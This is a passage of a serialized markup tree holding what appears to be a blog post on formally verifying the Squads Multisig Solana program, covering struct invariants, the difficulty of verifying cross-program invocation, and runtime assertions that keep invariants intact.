is_member",{"type":21,"tag":153,"props":30301,"children":30302},{"style":160},[30303],{"type":26,"value":189},{"type":21,"tag":153,"props":30305,"children":30306},{"style":198},[30307],{"type":26,"value":1974},{"type":21,"tag":153,"props":30309,"children":30310},{"style":170},[30311],{"type":26,"value":16427},{"type":21,"tag":153,"props":30313,"children":30314},{"style":160},[30315],{"type":26,"value":1670},{"type":21,"tag":153,"props":30317,"children":30318},{"style":192},[30319],{"type":26,"value":29965},{"type":21,"tag":153,"props":30321,"children":30322},{"style":198},[30323],{"type":26,"value":201},{"type":21,"tag":153,"props":30325,"children":30326},{"style":214},[30327],{"type":26,"value":2266},{"type":21,"tag":153,"props":30329,"children":30330},{"style":160},[30331],{"type":26,"value":2362},{"type":21,"tag":153,"props":30333,"children":30334},{"style":198},[30335],{"type":26,"value":2953},{"type":21,"tag":153,"props":30337,"children":30338},{"style":214},[30339],{"type":26,"value":30340}," Option",{"type":21,"tag":153,"props":30342,"children":30343},{"style":160},[30344],{"type":26,"value":8537},{"type":21,"tag":153,"props":30346,"children":30347},{"style":214},[30348],{"type":26,"value":19299},{"type":21,"tag":153,"props":30350,"children":30351},{"style":160},[30352],{"type":26,"value":10009},{"type":21,"tag":153,"props":30354,"children":30355},{"class":155,"line":166},[30356,30360,30364,30368,30372,30376,30380,30384,30388,30392],{"type":21,"tag":153,"props":30357,"children":30358},{"style":1751},[30359],{"type":26,"value":17456},{"type":21,"tag":153,"props":30361,"children":30362},{"style":170},[30363],{"type":26,"value":16510},{"type":21,"tag":153,"props":30365,"children":30366},{"style":198},[30367],{"type":26,"value":355},{"type":21,"tag":153,"props":30369,"children":30370},{"style":160},[30371],{"type":26,"value":23676},{"type":21,"tag":153,"props":30373,"children":30374},{"style":198},[30375],{"type":26,"value":355},{"type":21,"tag":153,"props":30377,"children":30378},{"style":181},[30379],{"type":26,"value":30260},{"type":21,"tag":153,"props":30381,"children":30382},{"style":160},[30383],{"type":26,"value":189},{"type":21,"tag":153,"props":30385,"children":30386},{"style":198},[30387],{"type":26,"value":1974},{"type":21,"tag":153,"props":30389,"children":30390},{"style":192},[30391],{"type":26,"value":29965},{"type":21,"tag":153,"props":30393,"children":30394},{"style":160},[30395],{"type":26,"value":2659},{"type":21,"tag":153,"props":30397,"children":30398},{"class":155,"line":225},[30399,30403,30407,30411,30415,30419,30423,30427,30431],{"type":21,"tag":153,"props":30400,"children":30401},{"style":214},[30402],{"type":26,"value":17514},{"type":21,"tag":153,"props":30404,"children":30405},{"style":160},[30406],{"type":26,"value":189},{"type":21,"tag":153,"props":30408,"children":30409},{"style":192},[30410],{"type":26,"value":30013},{"type":21,"tag":153,"props":30412,"children":30413},{"style":160},[30414],{"type":26,"value":2362},{"type":21,"tag":153,"props":30416,"children":30417},{"style":198},[30418],{"type":26,"value":17524},{"type":21,"tag":153,"props":30420,"children":30421},{"style":214},[30422],{"type":26,"value":2348},{"type":21,"tag":153,"props":30424,"children":30425},{"style":160},[30426],{"type":26,"value":189},{"type":21,"tag":153,"props":30428,"children":30429},{"style":192},[30430],{"type":26,"value":30013},{"type":21,"tag":153,"props":30432,"children":30433},{"style":160},[30434],{"type":26,"value":679},{"type":21,"tag":153,"props":30436,"children":30437},{"class":155,"line":239},[30438,30443,30448,30453],{"type":21,"tag":153,"props":30439,"children":30440},{"style":192},[30441],{"type":26,"value":30442},"        _",{"type":21,"tag":153,"props":30444,"children":30445},{"style":198},[30446],{"type":26,"value":30447}," =>",{"type":21,"tag":153,"props":30449,"children":30450},{"style":214},[30451],{"type":26,"value":30452}," None",{"type":21,"tag":153,"props":30454,"children":30455},{"style":160},[30456],{"type":26,"value":792},{"type":21,"tag":153,"props":30458,"children":30459},{"class":155,"line":382},[30460],{"type":21,"tag":153,"props":30461,"children":30462},{"style":160},[30463],{"type":26,"value":539},{"type":21,"tag":153,"props":30465,"children":30466},{"class":155,"line":501},[30467],{"type":21,"tag":153,"props":30468,"children":30469},{"style":160},[30470],{"type":26,"value":548},{"type":21,"tag":22,"props":30472,"children":30473},{},[30474,30476,30481,30483,30488,30490,30495,30497,30502],{"type":26,"value":30475},"So interestingly, a ",{"type":21,"tag":78,"props":30477,"children":30479},{"className":30478},[],[30480],{"type":26,"value":23676},{"type":26,"value":30482}," vec of size 0 ",{"type":21,"tag":5302,"props":30484,"children":30485},{},[30486],{"type":26,"value":30487},"is actually",{"type":26,"value":30489}," a sufficient condition to execute ",{"type":21,"tag":78,"props":30491,"children":30493},{"className":30492},[],[30494],{"type":26,"value":28163},{"type":26,"value":30496},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":21,"tag":5302,"props":30498,"children":30499},{},[30500],{"type":26,"value":30501},"valid",{"type":26,"value":30503}," multisig, the number of keys should never be zero.",{"type":21,"tag":22,"props":30505,"children":30506},{},[30507,30509,30514],{"type":26,"value":30508},"We can represent this ",{"type":21,"tag":5302,"props":30510,"children":30511},{},[30512],{"type":26,"value":30513},"validity",{"type":26,"value":30515}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":21,"tag":143,"props":30517,"children":30519},{"code":30518,"language":147,"meta":7,"className":145,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[30520],{"type":21,"tag":78,"props":30521,"children":30522},{"__ignoreMap":7},[30523,30530,30553,30604,30611],{"type":21,"tag":153,"props":30524,"children":30525},{"class":155,"line":156},[30526],{"type":21,"tag":153,"props":30527,"children":30528},{"style":160},[30529],{"type":26,"value":23472},{"type":21,"tag":153,"props":30531,"children":30532},{"class":155,"line":166},[30533,30537,30541,30545,30549],{"type":21,"tag":153,"props":30534,"children":30535},{"style":160},[30536],{"type":26,"value":27427},{"type":21,"tag":153,"props":30538,"children":30539},{"style":198},[30540],{"type":26,"value":355},{"type":21,"tag":153,"props":30542,"children":30543},{"style":160},[30544],{"type":26,"value":23764},{"type":21,"tag":153,"props":30546,"children":30547},{"style":198},[30548],{"type":26,"value":12664},{"type":21,"tag":153,"props":30550,"children":30551},{"style":160},[30552],{"type":26,"value":23773},{"type":21,"tag":153,"props":30554,"children":30555},{"class":155,"line":225},[30556,30560,30564,30568,30572,30576,30580,30584,30588,30592,30596,30600],{"type":21,"tag":153,"props":30557,"children":30558},{"style":198},[30559],{"type":26,"value":18318},{"type":21,"tag":153,"props":30561,"children":30562},{"style":160},[30563],{"type":26,"value":23697},{"type":21,"tag":153,"props":30565,"children":30566},{"style":198},[30567],{"type":26,"value":355},{"type":21,"tag":153,"props":30569,"children":30570},{"style":160},[30571],{"type":26,"value":23764},{"type":21,"tag":153,"props":30573,"children":30574},{"style":170},[30575],{"type":26,"value":11567},{"type":21,"tag":153,"props":30577,"children":30578},{"style":214},[30579],{"type":26,"value":16445},{"type":21,"tag":153,"props":30581,"children":30582},{"style":198},[30583],{"type":26,"value":10923},{"type":21,"tag":153,"props":30585,"children":30586},{"style":160},[30587],{"type":26,"value":16510},{"type":21,"tag":153,"props":30589,"children":30590},{"style":198},[30591],{"type":26,"value":355},{"type":21,"tag":153,"props":30593,"children":30594},{"style":160},[30595],{"type":26,"value":23676},{"type":21,"tag":153,"props":30597,"children":30598},{"style":198},[30599],{"type":26,"value":355},{"type":21,"tag":153,"props":30601,"children":30602},{"style":160},[30603],{"type":26,"value":23825},{"type":21,"tag":153,"props":30605,"children":30606},{"class":155,"line":239},[30607],{"type":21,"tag":153,"props":30608,"children":30609},{"style":160},[30610],{"type":26,"value":22954},{"type":21,"tag":153,"props":30612,"children":30613},{"class":155,"line":382},[30614,30618,30622,30626,30630,30634],{"type":21,"tag":153,"props":30615,"children":30616},{"style":170},[30617],{"type":26,"value":173},{"type":21,"tag":153,"props":30619,"children":30620},{"style":170},[30621],{"type":26,"value":23844},{"type":21,"tag":153,"props":30623,"children":30624},{"style":214},[30625],{"type":26,"value":23849},{"type":21,"tag":153,"props":30627,"children":30628},{"style":160},[30629],{"type":26,"value":12308},{"type":21,"tag":153,"props":30631,"children":30632},{"style":198},[30633],{"type":26,"value":12313},{"type":21,"tag":153,"props":30635,"children":30636},{"style":160},[30637],{"type":26,"value":12318},{"type":21,"tag":22,"props":30639,"children":30640},{},[30641,30643,30649,30651,30657],{"type":26,"value":30642},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":21,"tag":78,"props":30644,"children":30646},{"className":30645},[],[30647],{"type":26,"value":30648},"keys.len() == 0",{"type":26,"value":30650}," and allows us to prove the biconditional ",{"type":21,"tag":78,"props":30652,"children":30654},{"className":30653},[],[30655],{"type":26,"value":30656},"(keys.len() >= 1) -> (instruction succeeds)",{"type":26,"value":355},{"type":21,"tag":114,"props":30659,"children":30661},{"id":30660},"safety-guarantees",[30662],{"type":26,"value":25477},{"type":21,"tag":22,"props":30664,"children":30665},{},[30666],{"type":26,"value":30667},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":21,"tag":22,"props":30669,"children":30670},{},[30671],{"type":26,"value":30672},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":21,"tag":22,"props":30674,"children":30675},{},[30676,30678,30684],{"type":26,"value":30677},"In the multisig program this happens in the ",{"type":21,"tag":78,"props":30679,"children":30681},{"className":30680},[],[30682],{"type":26,"value":30683},"execute_transaction",{"type":26,"value":30685}," instruction.",{"type":21,"tag":22,"props":30687,"children":30688},{},[30689],{"type":21,"tag":5302,"props":30690,"children":30691},{},[30692],{"type":26,"value":30693},"So what do you do?",{"type":21,"tag":22,"props":30695,"children":30696},{},[30697],{"type":26,"value":30698},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":21,"tag":143,"props":30700,"children":30702},{"code":30701,"language":147,"meta":7,"className":145,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[30703],{"type":21,"tag":78,"props":30704,"children":30705},{"__ignoreMap":7},[30706,30721,30737,30752,30793,30800,30807,30814,30831,30847,30868,30875,30882,30898,30918,30946,30953,30960,30967,30975,31028,31054,31061,31090,31114,31149,31156,31167],{"type":21,"tag":153,"props":30707,"children":30708},{"class":155,"line":156},[30709,30713,30717],{"type":21,"tag":153,"props":30710,"children":30711},{"style":160},[30712],{"type":26,"value":25530},{"type":21,"tag":153,"props":30714,"children":30715},{"style":214},[30716],{"type":26,"value":25535},{"type":21,"tag":153,"props":30718,"children":30719},{"style":160},[30720],{"type":26,"value":22954},{"type":21,"tag":153,"props":30722,"children":30723},{"class":155,"line":166},[30724,30728,30733],{"type":21,"tag":153,"props":30725,"children":30726},{"style":170},[30727],{"type":26,"value":173},{"type":21,"tag":153,"props":30729,"children":30730},{"style":214},[30731],{"type":26,"value":30732}," MyCtx",{"type":21,"tag":153,"props":30734,"children":30735},{"style":160},[30736],{"type":26,"value":236},{"type":21,"tag":153,"props":30738,"children":30739},{"class":155,"line":225},[30740,30744,30748],{"type":21,"tag":153,"props":30741,"children":30742},{"style":160},[30743],{"type":26,"value":25820},{"type":21,"tag":153,"props":30745,"children":30746},{"style":170},[30747],{"type":26,"value":318},{"type":21,"tag":153,"props":30749,"children":30750},{"style":160},[30751],{"type":26,"value":22954},{"type":21,"tag":153,"props":30753,"children":30754},{"class":155,"line":239},[30755,30759,30764,30768,30772,30776,30780,30784,30789],{"type":21,"tag":153,"props":30756,"children":30757},{"style":170},[30758],{"type":26,"value":23537},{"type":21,"tag":153,"props":30760,"children":30761},{"style":192},[30762],{"type":26,"value":30763}," my_account",{"type":21,"tag":153,"props":30765,"children":30766},{"style":198},[30767],{"type":26,"value":201},{"type":21,"tag":153,"props":30769,"children":30770},{"style":214},[30771],{"type":26,"value":25785},{"type":21,"tag":153,"props":30773,"children":30774},{"style":160},[30775],{"type":26,"value":25615},{"type":21,"tag":153,"props":30777,"children":30778},{"style":214},[30779],{"type":26,"value":25620},{"type":21,"tag":153,"props":30781,"children":30782},{"style":160},[30783],{"type":26,"value":1670},{"type":21,"tag":153,"props":30785,"children":30786},{"style":214},[30787],{"type":26,"value":30788},"Acc",{"type":21,"tag":153,"props":30790,"children":30791},{"style":160},[30792],{"type":26,"value":4308},{"type":21,"tag":153,"props":30794,"children":30795},{"class":155,"line":382},[30796],{"type":21,"tag":153,"props":30797,"children":30798},{"style":160},[30799],{"type":26,"value":548},{"type":21,"tag":153,"props":30801,"children":30802},{"class":155,"line":501},[30803],{"type":21,"tag":153,"props":30804,"children":30805},{"emptyLinePlaceholder":16},[30806],{"type":26,"value":759},{"type":21,"tag":153,"props":30808,"children":30809},{"class":155,"line":533},[30810],{"type":21,"tag":153,"props":30811,"children":30812},{"style":160},[30813],{"type":26,"value":23464},{"type":21,"tag":153,"props":30815,"children":30816},{"class":155,"line":542},[30817,30822,30826],{"type":21,"tag":153,"props":30818,"children":30819},{"style":160},[30820],{"type":26,"value":30821},"#[invariant(bad ",{"type":21,"tag":153,"props":30823,"children":30824},{"style":198},[30825],{"type":26,"value":1694},{"type":21,"tag":153,"props":30827,"children":30828},{"style":160},[30829],{"type":26,"value":30830}," false)]\n",{"type":21,"tag":153,"props":30832,"children":30833},{"class":155,"line":762},[30834,30838,30843],{"type":21,"tag":153,"props":30835,"children":30836},{"style":170},[30837],{"type":26,"value":12123},{"type":21,"tag":153,"props":30839,"children":30840},{"style":214},[30841],{"type":26,"value":30842}," Acc",{"type":21,"tag":153,"props":30844,"children":30845},{"style":160},[30846],{"type":26,"value":236},{"type":21,"tag":153,"props":30848,"children":30849},{"class":155,"line":776},[30850,30854,30859,30863],{"type":21,"tag":153,"props":30851,"children":30852},{"style":170},[30853],{"type":26,"value":23537},{"type":21,"tag":153,"props":30855,"children":30856},{"style":192},[30857],{"type":26,"value":30858}," bad",{"type":21,"tag":153,"props":30860,"children":30861},{"style":198},[30862],{"type":26,"value":201},{"type":21,"tag":153,"props":30864,"children":30865},{"style":214},[30866],{"type":26,"value":30867}," bool\n",{"type":21,"tag":153,"props":30869,"children":30870},{"class":155,"line":795},[30871],{"type":21,"tag":153,"props":30872,"children":30873},{"style":160},[30874],{"type":26,"value":548},{"type":21,"tag":153,"props":30876,"children":30877},{"class":155,"line":808},[30878],{"type":21,"tag":153,"props":30879,"children":30880},{"emptyLinePlaceholder":16},[30881],{"type":26,"value":759},{"type":21,"tag":153,"props":30883,"children":30884},{"class":155,"line":820},[30885,30890,30894],{"type":21,"tag":153,"props":30886,"children":30887},{"style":170},[30888],{"type":26,"value":30889},"impl",{"type":21,"tag":153,"props":30891,"children":30892},{"style":214},[30893],{"type":26,"value":30842},{"type":21,"tag":153,"props":30895,"children":30896},{"style":160},[30897],{"type":26,"value":236},{"type":21,"tag":153,"props":30899,"children":30900},{"class":155,"line":842},[30901,30905,30909,30914],{"type":21,"tag":153,"props":30902,"children":30903},{"style":170},[30904],{"type":26,"value":23537},{"type":21,"tag":153,"props":30906,"children":30907},{"style":170},[30908],{"type":26,"value":178},{"type":21,"tag":153,"props":30910,"children":30911},{"style":181},[30912],{"type":26,"value":30913}," put_into_bad_state",{"type":21,"tag":153,"props":30915,"children":30916},{"style":160},[30917],{"type":26,"value":18433},{"type":21,"tag":153,"props":30919,"children":30920},{"class":155,"line":3204},[30921,30925,30929,30934,30938,30942],{"type":21,"tag":153,"props":30922,"children":30923},{"style":170},[30924],{"type":26,"value":30054},{"type":21,"tag":153,"props":30926,"children":30927},{"style":198},[30928],{"type":26,"value":355},{"type":21,"tag":153,"props":30930,"children":30931},{"style":160},[30932],{"type":26,"value":30933},"bad ",{"type":21,"tag":153,"props":30935,"children":30936},{"style":198},[30937],{"type":26,"value":2367},{"type":21,"tag":153,"props":30939,"children":30940},{"style":170},[30941],{"type":26,"value":15187},{"type":21,"tag":153,"props":30943,"children":30944},{"style":160},[30945],{"type":26,"value":1759},{"type":21,"tag":153,"props":30947,"children":30948},{"class":155,"line":3230},[30949],{"type":21,"tag":153,"props":30950,"children":30951},{"style":160},[30952],{"type":26,"value":539},{"type":21,"tag":153,"props":30954,"children":30955},{"class":155,"line":3239},[30956],{"type":21,"tag":153,"props":30957,"children":30958},{"style":160},[30959],{"type":26,"value":548},{"type":21,"tag":153,"props":30961,"children":30962},{"class":155,"line":3253},[30963],{"type":21,"tag":153,"props":30964,"children":30965},{"emptyLinePlaceholder":16},[30966],{"type":26,"value":759},{"type":21,"tag":153,"props":30968,"children":30969},{"class":155,"line":3301},[30970],{"type":21,"tag":153,"props":30971,"children":30972},{"style":3050},[30973],{"type":26,"value":30974},"// Instruction handler:\n",{"type":21,"tag":153,"props":30976,"children":30977},{"class":155,"line":3346},[30978,30982,30987,30991,30995,30999,31003,31007,31012,31016,31020,31024],{"type":21,"tag":153,"props":30979,"children":30980},{"style":170},[30981],{"type":26,"value":1000},{"type":21,"tag":153,"props":30983,"children":30984},{"style":181},[30985],{"type":26,"value":30986}," hard_to_verify",{"type":21,"tag":153,"props":30988,"children":30989},{"style":160},[30990],{"type":26,"value":189},{"type":21,"tag":153,"props":30992,"children":30993},{"style":192},[30994],{"type":26,"value":1882},{"type":21,"tag":153,"props":30996,"children":30997},{"style":198},[30998],{"type":26,"value":201},{"type":21,"tag":153,"props":31000,"children":31001},{"style":214},[31002],{"type":26,"value":22983},{"type":21,"tag":153,"props":31004,"children":31005},{"style":160},[31006],{"type":26,"value":8537},{"type":21,"tag":153,"props":31008,"children":31009},{"style":214},[31010],{"type":26,"value":31011},"MyCtx",{"type":21,"tag":153,"props":31013,"children":31014},{"style":160},[31015],{"type":26,"value":23140},{"type":21,"tag":153,"props":31017,"children":31018},{"style":198},[31019],{"type":26,"value":2953},{"type":21,"tag":153,"props":31021,"children":31022},{"style":214},[31023],{"type":26,"value":16475},{"type":21,"tag":153,"props":31025,"children":31026},{"style":160},[31027],{"type":26,"value":23025},{"type":21,"tag":153,"props":31029,"children":31030},{"class":155,"line":3355},[31031,31036,31040,31044,31049],{"type":21,"tag":153,"props":31032,"children":31033},{"style":181},[31034],{"type":26,"value":31035},"    invoke_signed",{"type":21,"tag":153,"props":31037,"children":31038},{"style":160},[31039],{"type":26,"value":189},{"type":21,"tag":153,"props":31041,"children":31042},{"style":198},[31043],{"type":26,"value":12313},{"type":21,"tag":153,"props":31045,"children":31046},{"style":160},[31047],{"type":26,"value":31048},"); ",{"type":21,"tag":153,"props":31050,"children":31051},{"style":3050},[31052],{"type":26,"value":31053},"// Cross-program invocation\n",{"type":21,"tag":153,"props":31055,"children":31056},{"class":155,"line":3364},[31057],{"type":21,"tag":153,"props":31058,"children":31059},{"emptyLinePlaceholder":16},[31060],{"type":26,"value":759},{"type":21,"tag":153,"props":31062,"children":31063},{"class":155,"line":3376},[31064,31068,31073,31077,31081,31085],{"type":21,"tag":153,"props":31065,"children":31066},{"style":170},[31067],{"type":26,"value":629},{"type":21,"tag":153,"props":31069,"children":31070},{"style":192},[31071],{"type":26,"value":31072}," invoke_res",{"type":21,"tag":153,"props":31074,"children":31075},{"style":198},[31076],{"type":26,"value":255},{"type":21,"tag":153,"props":31078,"children":31079},{"style":198},[31080],{"type":26,"value":27997},{"type":21,"tag":153,"props":31082,"children":31083},{"style":160},[31084],{"type":26,"value":297},{"type":21,"tag":153,"props":31086,"children":31087},{"style":3050},[31088],{"type":26,"value":31089},"// fetch result of invocation\n",{"type":21,"tag":153,"props":31091,"children":31092},{"class":155,"line":3393},[31093,31097,31101,31105,31110],{"type":21,"tag":153,"props":31094,"children":31095},{"style":1751},[31096],{"type":26,"value":2434},{"type":21,"tag":153,"props":31098,"children":31099},{"style":192},[31100],{"type":26,"value":31072},{"type":21,"tag":153,"props":31102,"children":31103},{"style":198},[31104],{"type":26,"value":6031},{"type":21,"tag":153,"props":31106,"children":31107},{"style":300},[31108],{"type":26,"value":31109}," 5",{"type":21,"tag":153,"props":31111,"children":31112},{"style":160},[31113],{"type":26,"value":236},{"type":21,"tag":153,"props":31115,"children":31116},{"class":155,"line":3405},[31117,31121,31125,31130,31134,31139,31144],{"type":21,"tag":153,"props":31118,"children":31119},{"style":192},[31120],{"type":26,"value":28882},{"type":21,"tag":153,"props":31122,"children":31123},{"style":198},[31124],{"type":26,"value":355},{"type":21,"tag":153,"props":31126,"children":31127},{"style":160},[31128],{"type":26,"value":31129},"my_account",{"type":21,"tag":153,"props":31131,"children":31132},{"style":198},[31133],{"type":26,"value":355},{"type":21,"tag":153,"props":31135,"children":31136},{"style":181},[31137],{"type":26,"value":31138},"put_into_bad_state",{"type":21,"tag":153,"props":31140,"children":31141},{"style":160},[31142],{"type":26,"value":31143},"(); ",{"type":21,"tag":153,"props":31145,"children":31146},{"style":3050},[31147],{"type":26,"value":31148},"// corrupt our account\n",{"type":21,"tag":153,"props":31150,"children":31151},{"class":155,"line":3427},[31152],{"type":21,"tag":153,"props":31153,"children":31154},{"style":160},[31155],{"type":26,"value":539},{"type":21,"tag":153,"props":31157,"children":31158},{"class":155,"line":3448},[31159,31163],{"type":21,"tag":153,"props":31160,"children":31161},{"style":214},[31162],{"type":26,"value":3621},{"type":21,"tag":153,"props":31164,"children":31165},{"style":160},[31166],{"type":26,"value":3626},{"type":21,"tag":153,"props":31168,"children":31169},{"class":155,"line":3456},[31170],{"type":21,"tag":153,"props":31171,"children":31172},{"style":160},[31173],{"type":26,"value":548},{"type":21,"tag":22,"props":31175,"children":31176},{},[31177,31179,31184],{"type":26,"value":31178},"The integrity of the verification framework relies on the fact that the account invariants for the accounts contained in the instruction (in this case ",{"type":21,"tag":78,"props":31180,"children":31182},{"className":31181},[],[31183],{"type":26,"value":31129},{"type":26,"value":31185},") will be maintained as long as the instruction succeeds.",{"type":21,"tag":22,"props":31187,"children":31188},{},[31189],{"type":26,"value":31190},"In this case, we can't really verify if the instruction succeeds or not (at least without knowing which program/instruction will be invoked).",{"type":21,"tag":22,"props":31192,"children":31193},{},[31194,31196,31201],{"type":26,"value":31195},"However, we can ",{"type":21,"tag":5302,"props":31197,"children":31198},{},[31199],{"type":26,"value":31200},"augment",{"type":26,"value":31202}," our code with additional runtime constraints to ensure that the safety properties are preserved even if formal verification fails.",{"type":21,"tag":22,"props":31204,"children":31205},{},[31206],{"type":26,"value":31207},"In this case, we can add runtime assertions that ensure our runtime invariants hold. For example:",{"type":21,"tag":143,"props":31209,"children":31211},{"code":31210,"language":147,"meta":7,"className":145,"style":7},"...\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n\n    // Enforce invariants at runtime\n    assert(ctx.my_account.invariant());\n\n    Ok(())\n}\n",[31212],{"type":21,"tag":78,"props":31213,"children":31214},{"__ignoreMap":7},[31215,31223,31274,31297,31304,31331,31354,31385,31392,31399,31407,31442,31449,31460],{"type":21,"tag":153,"props":31216,"children":31217},{"class":155,"line":156},[31218],{"type":21,"tag":153,"props":31219,"children":31220},{"style":198},[31221],{"type":26,"value":31222},"...\n",{"type":21,"tag":153,"props":31224,"children":31225},{"class":155,"line":166},[31226,31230,31234,31238,31242,31246,31250,31254,31258,31262,31266,31270],{"type":21,"tag":153,"props":31227,"children":31228},{"style":170},[31229],{"type":26,"value":1000},{"type":21,"tag":153,"props":31231,"children":31232},{"style":181},[31233],{"type":26,"value":30986},{"type":21,"tag":153,"props":31235,"children":31236},{"style":160},[31237],{"type":26,"value":189},{"type":21,"tag":153,"props":31239,"children":31240},{"style":192},[31241],{"type":26,"value":1882},{"type":21,"tag":153,"props":31243,"children":31244},{"style":198},[31245],{"type":26,"value":201},{"type":21,"tag":153,"props":31247,"children":31248},{"style":214},[31249],{"type":26,"value":22983},{"type":21,"tag":153,"props":31251,"children":31252},{"style":160},[31253],{"type":26,"value":8537},{"type":21,"tag":153,"props":31255,"children":31256},{"style":214},[31257],{"type":26,"value":31011},{"type":21,"tag":153,"props":31259,"children":31260},{"style":160},[31261],{"type":26,"value":23140},{"type":21,"tag":153,"props":31263,"children":31264},{"style":198},[31265],{"type":26,"value":2953},{"type":21,"tag":153,"props":31267,"children":31268},{"style":214},[31269],{"type":26,"value":16475},{"type":21,"tag":153,"props":31271,"children":31272},{"style":160},[31273],{"type":26,"value":23025},{"type":21,"tag":153,"props":31275,"children":31276},{"class":155,"line":225},[31277,31281,31285,31289,31293],{"type":21,"tag":153,"props":31278,"children":31279},{"style":181},[31280],{"type":26,"value":31035},{"type":21,"tag":153,"props":31282,"children":31283},{"style":160},[31284],{"type":26,"value":189},{"type":21,"tag":153,"props":31286,"children":31287},{"style":198},[31288],{"type":26,"value":12313},{"type":21,"tag":153,"props":31290,"children":31291},{"style":160},[31292],{"type":26,"value":31048},{"type":21,"tag":153,"props":31294,"children":31295},{"style":3050},[31296],{"type":26,"value":31053},{"type":21,"tag":153,"props":31298,"children":31299},{"class":155,"line":239},[31300],{"type":21,"tag":153,"props":31301,"children":31302},{"emptyLinePlaceholder":16},[31303],{"type":26,"value":759},{"type":21,"tag":153,"props":31305,"children":31306},{"class":155,"line":382},[31307,31311,31315,31319,31323,31327],{"type":21,"tag":153,"props":31308,"children":31309},{"style":170},[31310],{"type":26,"value":629},{"type":21,"tag":153,"props":31312,"children":31313},{"style":192},[31314],{"type":26,"value":31072},{"type":21,"tag":153,"props":31316,"children":31317},{"style":198},[31318],{"type":26,"value":255},{"type":21,"tag":153,"props":31320,"children":31321},{"style":198},[31322],{"type":26,"value":27997},{"type":21,"tag":153,"props":31324,"children":31325},{"style":160},[31326],{"type":26,"value":297},{"type":21,"tag":153,"props":31328,"children":31329},{"style":3050},[31330],{"type":26,"value":31089},{"type":21,"tag":153,"props":31332,"children":31333},{"class":155,"line":501},[31334,31338,31342,31346,31350],{"type":21,"tag":153,"props":31335,"children":31336},{"style":1751},[31337],{"type":26,"value":2434},{"type":21,"tag":153,"props":31339,"children":31340},{"style":192},[31341],{"type":26,"value":31072},{"type":21,"tag":153,"props":31343,"children":31344},{"style":198},[31345],{"type":26,"value":6031},{"type":21,"tag":153,"props":31347,"children":31348},{"style":300},[31349],{"type":26,"value":31109},{"type":21,"tag":153,"props":31351,"children":31352},{"style":160},[31353],{"type":26,"value":236},{"type":21,"tag":153,"props":31355,"children":31356},{"class":155,"line":533},[31357,31361,31365,31369,31373,31377,31381],{"type":21,"tag":153,"props":31358,"children":31359},{"style":192},[31360],{"type":26,"value":28882},{"type":21,"tag":153,"props":31362,"children":31363},{"style":198},[31364],{"type":26,"value":355},{"type":21,"tag":153,"props":31366,"children":31367},{"style":160},[31368],{"type":26,"value":31129},{"type":21,"tag":153,"props":31370,"children":31371},{"style":198},[31372],{"type":26,"value":355},{"type":21,"tag":153,"props":31374,"children":31375},{"style":181},[31376],{"type":26,"value":31138},{"type":21,"tag":153,"props":31378,"children":31379},{"style":160},[31380],{"type":26,"value":31143},{"type":21,"tag":153,"props":31382,"children":31383},{"style":3050},[31384],{"type":26,"value":31148},{"type":21,"tag":153,"props":31386,"children":31387},{"class":155,"line":542},[31388],{"type":21,"tag":153,"props":31389,"children":31390},{"style":160},[31391],{"type":26,"value":539},{"type":21,"tag":153,"props":31393,"children":31394},{"class":155,"line":762},[31395],{"type":21,"tag":153,"props":31396,"children":31397},{"emptyLinePlaceholder":16},[31398],{"type":26,"value":759},{"type":21,"tag":153,"props":31400,"children":31401},{"class":155,"line":776},[31402],{"type":21,"tag":153,"props":31403,"children":31404},{"style":3050},[31405],{"type":26,"value":31406},"    // Enforce invariants at runtime\n",{"type":21,"tag":153,"props":31408,"children":31409},{"class":155,"line":795},[31410,31414,31418,31422,31426,31430,31434,31438],{"type":21,"tag":153,"props":31411,"children":31412},{"style":181},[31413],{"type":26,"value":21936},{"type":21,"tag":153,"props":31415,"children":31416},{"style":160},[31417],{"type":26,"value":189},{"type":21,"tag":153,"props":31419,"children":31420},{"style":192},[31421],{"type":26,"value":1882},{"type":21,"tag":153,"props":31423,"children":31424},{"style":198},[31425],{"type":26,"value":355},{"type":21,"tag":153,"props":31427,"children":31428},{"style":160},[31429],{"type":26,"value":31129},{"type":21,"tag":153,"props":31431,"children":31432},{"style":198},[31433],{"type":26,"value":355},{"type":21,"tag":153,"props":31435,"children":31436},{"style":181},[31437],{"type":26,"value":24470},{"type":21,"tag":153,"props":31439,"children":31440},{"style":160},[31441],{"type":26,"value":379},{"type":21,"tag":153,"props":31443,"children":31444},{"class":155,"line":808},[31445],{"type":21,"tag":153,"props":31446,"children":31447},{"emptyLinePlaceholder":16},[31448],{"type":26,"value":759},{"type":21,"tag":153,"props":31450,"children":31451},{"class":155,"line":820},[31452,31456],{"type":21,"tag":153,"props":31453,"children":31454},{"style":214},[31455],{"type":26,"value":3621},{"type":21,"tag":153,"props":31457,"children":31458},{"style":160},[31459],{"type":26,"value":3626},{"type":21,"tag":153,"props":31461,"children":31462},{"class":155,"line":842},[31463],{"type":21,"tag":153,"props":31464,"children":31465},{"style":160},[31466],{"type":26,"value":548},{"type":21,"tag":22,"props":31468,"c